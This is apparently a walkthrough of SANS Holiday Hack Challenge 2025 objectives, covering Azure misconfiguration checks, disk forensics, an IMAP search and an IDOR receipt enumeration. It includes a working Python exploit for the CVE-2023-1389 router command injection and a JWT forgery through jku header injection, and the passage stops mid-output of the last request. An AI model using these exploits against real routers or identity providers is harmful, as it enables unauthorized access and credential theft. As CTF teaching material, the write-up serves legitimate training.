Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-show

In order to solve this task, I enumerate all resource groups and list their NSG rules. Within theneighborhood-rg1 I find a rule allowing public RDP access.

$ az network nsg rule list --nsg-name nsg-production-eastus \
                           --resource-group theneighborhood-rg1 \
                           -o table
Access    Direction    Name                           Priority    Protocol    NSG                    SourceAddressPrefix    SourcePortRange    DestinationAddressPrefix    DestinationPortRange
--------  -----------  -----------------------------  ----------  ----------  ---------------------  ---------------------  -----------------  --------------------------  ----------------------
Allow     Inbound      Allow-HTTP-Inbound             100         Tcp         nsg-production-eastus  0.0.0.0/0              *                  *                           80
Allow     Inbound      Allow-HTTPS-Inbound            110         Tcp         nsg-production-eastus  0.0.0.0/0              *                  *                           443
Allow     Inbound      Allow-AppGateway-HealthProbes  115         Tcp         nsg-production-eastus  AzureLoadBalancer      *                  *                           80,443
Allow     Inbound      Allow-RDP-From-Internet        120         Tcp         nsg-production-eastus  0.0.0.0/0              *                  *                           3389
Deny      Inbound      Deny-All-Inbound               4096        *           nsg-production-eastus  *                      *                  *                           *
 
 
$ az network nsg rule show --nsg-name nsg-production-eastus \
                           --resource-group theneighborhood-rg1 \
                           --name Allow-RDP-From-Internet
{
  "name": "Allow-RDP-From-Internet",
  "properties": {
    "access": "Allow",
    "destinationPortRange": "3389",
    "direction": "Inbound",
    "priority": 120,
    "protocol": "Tcp",
    "sourceAddressPrefix": "0.0.0.0/0"
  }
}

Todo

Great, you found the NSG misconfiguration allowing RDP (port 3389) from the public internet! Port 3389 is used by Remote Desktop Protocol — exposing it broadly allows attackers to brute-force credentials, exploit RDP vulnerabilities, and pivot within the network.

✨ To finish, type: finish

$ finish
Completing challenge...

Owner

Help Goose James near the park discover the accidentally leaked SAS token in a public JavaScript file and determine what Azure Storage resource it exposes and what permissions it grants.

Todo

Let’s learn some more Azure CLI, the —query parameter with JMESPath syntax! $ az account list --query "[].name" Here, [] loops through each item, .name grabs the name field

$ az account list --query "[].name"
[
  "theneighborhood-sub",
  "theneighborhood-sub-2",
  "theneighborhood-sub-3",
  "theneighborhood-sub-4"
]

Todo

You can do some more advanced queries using conditional filtering with custom output. $ az account list --query "[?state=='Enabled'].{Name:name, ID:id}" Cool! 😎 [?condition] filters what you want, {custom:fields} makes clean output ✨

$ az account list --query "[?state=='Enabled'].{Name:name, ID:id}"
[
  {
    "ID": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "Name": "theneighborhood-sub"
  },
  {
    "ID": "4d9dbf2a-90b4-4d40-a97f-dc51f3c3d46e",
    "Name": "theneighborhood-sub-2"
  },
  {
    "ID": "065cc24a-077e-40b9-b666-2f4dd9f3a617",
    "Name": "theneighborhood-sub-3"
  },
  {
    "ID": "681c0111-ca84-47b2-808d-d8be2325b380",
    "Name": "theneighborhood-sub-4"
  }
]

Todo

Let’s take a look at the Owner’s of the first listed subscription 🔍. Pass in the first subscription id. Try: az role assignment list --scope "/subscriptions/{ID of first Subscription}" --query [?roleDefinition=='Owner']

$ az role assignment list --scope "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64" \
                          --query [?roleDefinition=='Owner']
[
  {
    "condition": "null",
    "conditionVersion": "null",
    "createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "createdOn": "2025-09-10T15:45:12.439266+00:00",
    "delegatedManagedIdentityResourceId": "null",
    "description": "null",
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
    "principalName": "PIM-Owners",
    "principalType": "Group",
    "roleDefinitionId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
    "roleDefinitionName": "Owner",
    "scope": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64",
    "type": "Microsoft.Authorization/roleAssignments",
    "updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "updatedOn": "2025-09-10T15:45:12.439266+00:00"
  }
]

Todo

Ok 🤔 — there is a group present for the Owners permission; however, we’ve been assured this is a 🔐 PIM enabled group. Currently, no PIM activations are present. 🚨 Let’s run the previous command against the other subscriptions to see what we come up with.

$ az role assignment list --scope "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617" \
                          --query [?roleDefinition=='Owner']
[
  {
    "condition": "null",
    "conditionVersion": "null",
    "createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "createdOn": "2025-09-10T15:45:12.439266+00:00",
    "delegatedManagedIdentityResourceId": "null",
    "description": "null",
    "id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
    "principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
    "principalName": "PIM-Owners",
    "principalType": "Group",
    "roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
    "roleDefinitionName": "Owner",
    "scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
    "type": "Microsoft.Authorization/roleAssignments",
    "updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "updatedOn": "2025-09-10T15:45:12.439266+00:00"
  },
  {
    "condition": "null",
    "conditionVersion": "null",
    "createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "createdOn": "2025-09-10T16:58:16.317381+00:00",
    "delegatedManagedIdentityResourceId": "null",
    "description": "null",
    "id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/6b452f58-6872-4064-ae9b-78742e8d987e",
    "name": "6b452f58-6872-4064-ae9b-78742e8d987e",
    "principalId": "6b982f2f-78a0-44a8-b915-79240b2b4796",
    "principalName": "IT Admins",
    "principalType": "Group",
    "roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
    "roleDefinitionName": "Owner",
    "scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
    "type": "Microsoft.Authorization/roleAssignments",
    "updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
    "updatedOn": "2025-09-10T16:58:16.317381+00:00"
  }
]

Todo

Looks like you are on to something here! 🕵️ We were assured that only the 🔐 PIM group was present for each subscription. 🔎 Let’s figure out the membership of that group. Hint: use the az ad member list command. Pass the group id instead of the name. Remember: | less lets you scroll through long output

$ az ad member list --group "6b982f2f-78a0-44a8-b915-79240b2b4796"
[
  {
    "@odata.type": "#microsoft.graph.group",
    "classification": null,
    "createdDateTime": "2025-09-10T16:54:24Z",
    "creationOptions": [],
    "deletedDateTime": null,
    "description": null,
    "displayName": "Subscription Admins",
    "expirationDateTime": null,
    "groupTypes": [],
    "id": "631ebd3f-39f9-4492-a780-aef2aec8c94e",
    "isAssignableToRole": null,
    "mail": null,
    "mailEnabled": false,
    "mailNickname": "15a80d1d-5",
    "membershipRule": null,
    "membershipRuleProcessingState": null,
    "onPremisesDomainName": null,
    "onPremisesLastSyncDateTime": null,
    "onPremisesNetBiosName": null,
    "onPremisesProvisioningErrors": [],
    "onPremisesSamAccountName": null,
    "onPremisesSecurityIdentifier": null,
    "onPremisesSyncEnabled": null,
    "preferredDataLocation": null,
    "preferredLanguage": null,
    "proxyAddresses": [],
    "renewedDateTime": "2025-09-10T16:54:24Z",
    "resourceBehaviorOptions": [],
    "resourceProvisioningOptions": [],
    "securityEnabled": true,
    "securityIdentifier": "S-1-12-1-1662958911-1150433785-4071522471-1321846958",
    "serviceProvisioningErrors": [],
    "theme": null,
    "uniqueName": null,
    "uniqueName": null,
    "visibility": null
  }
]

Todo

Well 😤, that’s annoying. Looks like we have a nested group! Let’s run the command one more time against this group.

$ az ad member list --group "631ebd3f-39f9-4492-a780-aef2aec8c94e"
[
  {
    "@odata.type": "#microsoft.graph.user",
    "businessPhones": [
      "+1-555-0199"
    ],
    "displayName": "Firewall Frank",
    "givenName": "Frank",
    "id": "b8613dd2-5e33-4d77-91fb-b4f2338c19c9",
    "jobTitle": "HOA IT Administrator",
    "mail": "frank.firewall@theneighborhood.invalid",
    "mobilePhone": "+1-555-0198",
    "officeLocation": "HOA Community Center - IT Office",
    "preferredLanguage": "en-US",
    "surname": "Firewall",
    "userPrincipalName": "frank.firewall@theneighborhood.onmicrosoft.com"
  }
]

Todo

elevated access instead of permanent assignments. Permanent Owner roles create persistent attack paths and violate least-privilege principles.

Challenge Complete! To finish, type: finish

$ finish
Completing challenge...

ACT II

Info

The Gnomes’ nefarious plot seems to involve stealing refrigerator parts. But why?

Retro Recovery

Join Mark in the retro shop. Analyze his disk image for a blast from the retro past and recover some classic treasures.

floopy.img in the inventory

The interaction with Mark puts a new item in my inventory. floopy.img seems to be a disk image and I load it into FTK Imager. The regular contents of the disk are not that interesting but there’s also unallocated space. Skimming over the hex view, I quickly spot readable strings so I extract 002 and open it in notepad. A base64 encoded string and decoding it reveals the flag for this objective.

FTK Imager showing unallocated space in the mounted floppy.img and Notepad showing the contents of the extracted data

merry christmas to all and to all a good night

Mail Detective

Help Mo in City Hall solve a curly email caper and crack the IMAP case. What is the URL of the pastebin service the gnomes are using?

Challenge description for Mail Detective

Connecting to the locally running IMAP server is trivial with curl. It just requires using the protocol imap:// and supplying the credentials. This lists the available folders.

$ curl "imap://dosismail:holidaymagic@127.0.0.1"
* LIST (\HasNoChildren) "." Spam
* LIST (\HasNoChildren) "." Sent
* LIST (\HasNoChildren) "." Archives
* LIST (\HasNoChildren) "." Drafts
* LIST (\HasNoChildren) "." INBOX

Then I search for the keyword http in the body of all mails within the folder Spam. This just returns 1 hit with ID 2 and I retrieve this mail and only list lines containing they keyword.

$ curl "imap://dosismail:holidaymagic@127.0.0.1/Spam" -X 'SEARCH BODY http'
* SEARCH 2
  
$ curl -s "imap://dosismail:holidaymagic@127.0.0.1/Spam;UID=2" | grep -i http
    var pastebinUrl = "https://frostbin.atnas.mail/api/paste";
    console.log("Response: {\"id\":\"" + Math.random().toString(36).substr(2, 8) + "\",\"url\":\"https://frostbin.atnas.mail/raw/" + Math.random().toString(36).substr(2, 8) + "\"}");

https://frostbin.atnas.mail/api/paste

IDORable Bistro

Josh has a tasty IDOR treat for you—stop by Sasabune for a bite of vulnerability. What is the name of the gnome?

Josh Wright providing the hint regarding the receipt on the floor

Josh Wright talks about a gnome that ordered frozen sushi and that there’s a receipt outside the door. On the left side of the diner, I find the receipt on the floor and walking over it puts a crumbled Sasabune receipt into my inventory.

Receipt in the inventory

Throwing the PNG file into CyberChef and using Parse QR Code as recipe returns the URL https://its-idorable.holidayhackchallenge.com/receipt/i9j0k1l2.

CyberChef decoding the QR code in the image

Accessing the URL shows the receipt details on a web page. It includes the same information as on the paper receipt, but also the customer name.

When I inspect the HTML source code of the page (CTRL+U), I find JavaScript calling an API endpoint with the parameter id. By default the value is set to 103, the same ID as on the receipt I’ve found.

// Initial receipt ID
let receiptId = '103';
// Function to fetch and display receipt details
function fetchReceiptDetails(id) {
	// Add a small delay for dramatic effect
	setTimeout(function () {
		fetch(`/api/receipt?id=${ id }`).then(response => {
			if (!response.ok) {
				throw new Error('Receipt not found');
			}
			return response.json();
		}).then(data => {
			const receiptDiv = document.getElementById('check-details');
			let receiptHtml = `
                            <div class="receipt">
                                <div class="receipt-header">
                                    <div class="holiday-logo"></div>
                                    <h3>Sasabune</h3>
                                    <p>Serving the Dosis Neighborhood Since 2015</p>
                                    <p>Receipt #${ data.id } | Table ${ data.table } | ${ data.date }</p>
                                    <p>Customer: ${ data.customer }</p>
                                </div>
                                
                                <div class="receipt-items">
                                    <table>
                                        <thead>
                                            <tr>
                                                <th>Item</th>
                                                <th>Price</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                        `;
// --- SNIP ---
}

The objective is to find the name of the gnome who ordered frozen sushi. Instead of using the web page, I retrieve all receipts from 1 to 200 via curl and pipe the output into a file. Searching for frozen as an case-insensitive string returns only one match for a customer called Bartholomew Quibblefrost.

$ for i in {1..200};
do
        curl -s "https://its-idorable.holidayhackchallenge.com/api/receipt?id=${i}"
done > receipts.json
 
$ grep -i frozen receipts.json | jq .
{
  "customer": "Bartholomew Quibblefrost",
  "date": "2025-12-20",
  "id": 139,
  "items": [
    {
      "name": "Frozen Roll (waitress improvised: sorbet, a hint of dry ice)",
      "price": 19
    }
  ],
  "note": "Insisted on increasingly bizarre rolls and demanded one be served frozen. The waitress invented a 'Frozen Roll' on the spot with sorbet and a puff of theatrical smoke. He nodded solemnly and asked if we could make these in bulk.",
  "paid": true,
  "table": 14,
  "total": 19
}

Bartholomew Quibblefrost

Dosis Network Down

Drop by JJ’s 24-7 for a network rescue and help restore the holiday cheer. What is the WiFi password found in the router’s config?

This challenge takes me to https://dosis-network-down.holidayhackchallenge.com and I’m presented a login prompt for a router. The actual login is non-functioning but the page reveals certain aspects of the device in use.

  • Hardware Version: Archer AX21 v2.0
  • Firmware Version: 1.1.4 Build 20230219 rel.69802
  • AX1800 Wi-Fi 6 Router

Searching for known vulnerabilities for this device finds CVE-2023-1389, an unauthenticated command injection. Basically an endpoint has to be hit twice and the second time the command will run and return the output. To make exploiting this easy, I wrap that logic in a Python script.

exploit.py
#!/usr/bin/python3
import requests
 
URL = 'https://dosis-network-down.holidayhackchallenge.com/cgi-bin/luci/;stok=/locale'
 
 
def send_payload(cmd):
    payload = {'form': 'country', 'operation': 'write', 'country': f'$({cmd})'}
    requests.get(URL, params=payload)
    return requests.get(URL, params=payload).text
 
def main():
    while True:
        cmd = input('cmd > ').strip()
        print(send_payload(cmd))
 
if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        pass
 

It just asks for a command in a loop and calls the vulnerable endpoint twice. Then it prints the return value to the screen. This should give me a semi-interactive shell on the target and I might find the password in /etc/config/wireless since the router is running DD-WRT1.

python3 exploit.py
cmd > ls -la /etc/config
total 7
drwxrwxr-x 1 999 999    0 Sep 16 12:39 .
drwxrwxr-x 1 999 999    0 Sep 16 12:39 ..
-rw-rw-r-- 1 999 999  825 May 29  2025 dhcp
-rw-rw-r-- 1 999 999 2364 May 29  2025 firewall
-rw-rw-r-- 1 999 999  566 May 29  2025 leds
-rw-rw-r-- 1 999 999  672 May 29  2025 network
-rw-rw-r-- 1 999 999  355 May 29  2025 system
-rw-rw-r-- 1 999 999  744 Sep 16 12:36 wireless
 
cmd > grep "option key" /etc/config/wireless
	option key 'SprinklesAndPackets2025!'
	option key 'SprinklesAndPackets2025!'

SprinklesAndPackets2025!

Rogue Gnome Identity Provider

Hike over to Paul in the park for a gnomey authentication puzzle adventure. What malicious firmware image are the gnomes downloading?

Challenge description in the terminal

The challenge provides the credentials gnome:SittingOnAShelf and additional notes in ~/notes. Those contain the commands needed to interact with the Atnas identity provider and how to access the diagnostic interface.

notes
# Sites
 
## Captured Gnome:
curl http://gnome-48371.atnascorp/
 
## ATNAS Identity Provider (IdP):
curl http://idp.atnascorp/
 
## My CyberChef website:
curl http://paulweb.neighborhood/
### My CyberChef site html files:
~/www/
 
 
# Credentials
 
## Gnome credentials (found on a post-it):
Gnome:SittingOnAShelf
 
 
# Curl Commands Used in Analysis of Gnome:
 
## Gnome Diagnostic Interface authentication required page:
curl http://gnome-48371.atnascorp
 
## Request IDP Login Page
curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth
 
## Authenticate to IDP
curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login
 
## Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=<insert-JWT>
 
## Access Gnome Diagnostic Interface
curl -H 'Cookie: session=<insert-session>' http://gnome-48371.atnascorp/diagnostic-interface
 
## Analyze the JWT
jwt_tool.py <insert-JWT>

By repeating the commands, I can authenticate with the identity provider at idp.atnascorp/login and get redirected to gnome-48371.atnascorp/auth with a JWT. The consecutive call to /auth with the received token sets a session cookie and I can access the diagnostic console. On there is just a note that the interface is only available to admins.

$ curl -X POST \
       --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' \
       http://idp.atnascorp/login
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA">http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA</a>. If not, click the link.
 
$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 302 FOUND
< Date: Sun, 21 Dec 2025 22:33:35 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aUh1vw.eY_AoYBNFGOylnequ07jKGHWZoc; HttpOnly; Path=/
< 
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
  
$ curl -H 'Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aUh1vw.eY_AoYBNFGOylnequ07jKGHWZoc' \
       http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
<head>
    <title>AtnasCorp : Gnome Diagnostic Interface</title>
    <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<p>Welcome gnome</p><p>Diagnostic access is only available to admins.</p>
 
</body>
</html>

With jwt_tool, already pre-installed, I can look at the contents of the JWT. It shows the payload claim sub set to gnome and the header reveals the algorithm RS256 is in use as well as the jku URL with the public key information used to verify the integrity of the token.

$ jwt_tool.py eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.uABoZh6YMXRv_dXDprQoiY3pJVGjZ2SlgUf0Osl41Is42ckSIHWy__OtL9NWaFgu98C4JCukae3uE3lLOjOUXlbUe8ZN6TJKii9H-uzJf1TEj0GTQkrOGatWv32Vov66T2LzBXiZ1VDYxn8m9T4GEKahRD8PJrZtaqHkJ7lrp8a_ZH3BHhZodJZgjoSNhKYS39II_8i94MerEmhCE32bWbT6UxM_L9_11UnACFdQZtm_1BJttNnlzIuRSUCf6aiTNzr7YjYH3wMGKLNloiF0RcX7nSlNwmVzX-UOu5oPTsS6v0woeJdIOHrYOU5cKG5nKbniB7r3np8c9S6-Fr_VSA
 
        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.3.0                \______|             @ticarpi      
 
/home/paul/.jwt_tool/jwtconf.ini
Original JWT: 
 
=====================
Decoded Token Values:
=====================
 
Token header values:
[+] alg = "RS256"
[+] jku = "http://idp.atnascorp/.well-known/jwks.json"
[+] kid = "idp-key-2025"
[+] typ = "JWT"
 
Token payload values:
[+] sub = "gnome"
[+] iat = 1766356378    ==> TIMESTAMP = 2025-12-21 22:32:58 (UTC)
[+] exp = 1766363578    ==> TIMESTAMP = 2025-12-22 00:32:58 (UTC)
[+] iss = "http://idp.atnascorp/"
[+] admin = False
 
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins
 
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

A common attack is to forge a new JWT with arbitrary contents, sign it and point the jku to another controlled location2. If the application blindly trusts the new URL and uses the information from there to validate the contents, they pass as good and I can add anything to the cookie. From the notes I already know that anything I put into ~/www will be served at http://paulweb.neighborhood/. jwt_tool creates a default jwks.json during the first run that I can place there3. Instead of the kid idp-key-2025 it uses jwt_tool, so I have to either adjust the value in the header or in the file itself. Additionally I want to set the payload claim admin to true.

$ cat ~/.jwt_tool/jwttool_custom_jwks.json
{
    "keys":[
        {
            "kty":"RSA",
            "kid":"jwt_tool",
            "use":"sig",
            "e":"AQAB",
            "n":"tchOVdXUg9T_HV2f9TVZeoH3G2uB243yAa6Hh7RsyeOy1tAs-OEnD1_5TWrljY-RqoSfoEjbE38rtVLp_weDfroHn8I-I9lGuAA-wDI70sOTm4tSSDuwD9VBFmXI-dFwsTN446yRJagaZP4ZgfPoreOL9bpfL_7HxPOJZ14z2ZJZaP-7hr1HSasyTkkRG3u4pylgoRUu2ZUxWhqNg1A7e1YNUrtlqagooFxGYkZBXbBXJbHdMLn-PSs3tc3pWQEQHPAYBSFHnCzyTEOFQOixh-OQq3KyL5sHKvOWUhTyO2USOmJHLYUbCEd6_DfrcR4P5EctwTlTEU1ssXONGgxHAQ"
        }
    ]
 
$ cp ~/.jwt_tool/jwttool_custom_jwks.json ~/www/jwks.json
 
$ jwt_tool.py <JWT> \
              --exploit s \
              --jwksurl 'http://paulweb.neighborhood/jwks.json' \
              --headerclaim 'kid' \
              --headervalue 'jwt_tool' \
              --payloadclaim 'admin' \
              --payloadvalue 'true' \
              --injectclaims
 
        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.3.0                \______|             @ticarpi      
 
/home/paul/.jwt_tool/jwtconf.ini
Original JWT: 
 
Paste this JWKS into a file at the following location before submitting token request: http://paulweb.neighborhood/jwks.json
(JWKS file used: /home/paul/.jwt_tool/jwttool_custom_jwks.json)
/home/paul/.jwt_tool/jwttool_custom_jwks.json
jwttool_33046d115b7ccdda4fb672d2f99005f7 - Signed with JWKS at http://paulweb.neighborhood/jwks.json
[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GYGO_CGU-hSjVFbsSXGEP5s76oWVg4iX45G2ExNCEKXtTWYoqsU2sk3PCiGgQ64DStqhakdp8VAoiG7ouIKVz6z6SX8lku7IFzSO9fUu3KOObkZ-IgwPpi0zjXxrPins4TWoAfCZGVA0PBQqoy7YkMIlcUAM5EwWC5YVoLNseNUH8hV5p5m0DDrqOdCsc6BeyvnNC5bBrZUGBXPJDIhzzSwXAn_pv9utS3gGxhYWC_5Cbc5-ttMYcC-APka6JthMn9hCBb8NsHRS66qx2ImmsiCz3-0pTJQRGXq5i7iNi-2CCxcWk_bWJy10kQn9g4vjPlhZOzSZNqhmyvaOJwVX-w

With the forged JWT I can call the /auth endpoint and retrieve a new session cookie. This time the diagnostic interface returns more data and also the name of the firmware image that is needed to fulfill the objective.

$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GYGO_CGU-hSjVFbsSXGEP5s76oWVg4iX45G2ExNCEKXtTWYoqsU2sk3PCiGgQ64DStqhakdp8VAoiG7ouIKVz6z6SX8lku7IFzSO9fUu3KOObkZ-IgwPpi0zjXxrPins4TWoAfCZGVA0PBQqoy7YkMIlcUAM5EwWC5YVoLNseNUH8hV5p5m0DDrqOdCsc6BeyvnNC5bBrZUGBXPJDIhzzSwXAn_pv9utS3gGxhYWC_5Cbc5-ttMYcC-APka6JthMn9hCBb8NsHRS66qx2ImmsiCz3-0pTJQRGXq5i7iNi-2CCxcWk_bWJy10kQn9g4vjPlhZOzSZNqhmyvaOJwVX-w
* Host gnome-48371.atnascorp:80 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:80...
* Connected to gnome-48371.atnascorp (127.0.0.1) port 80
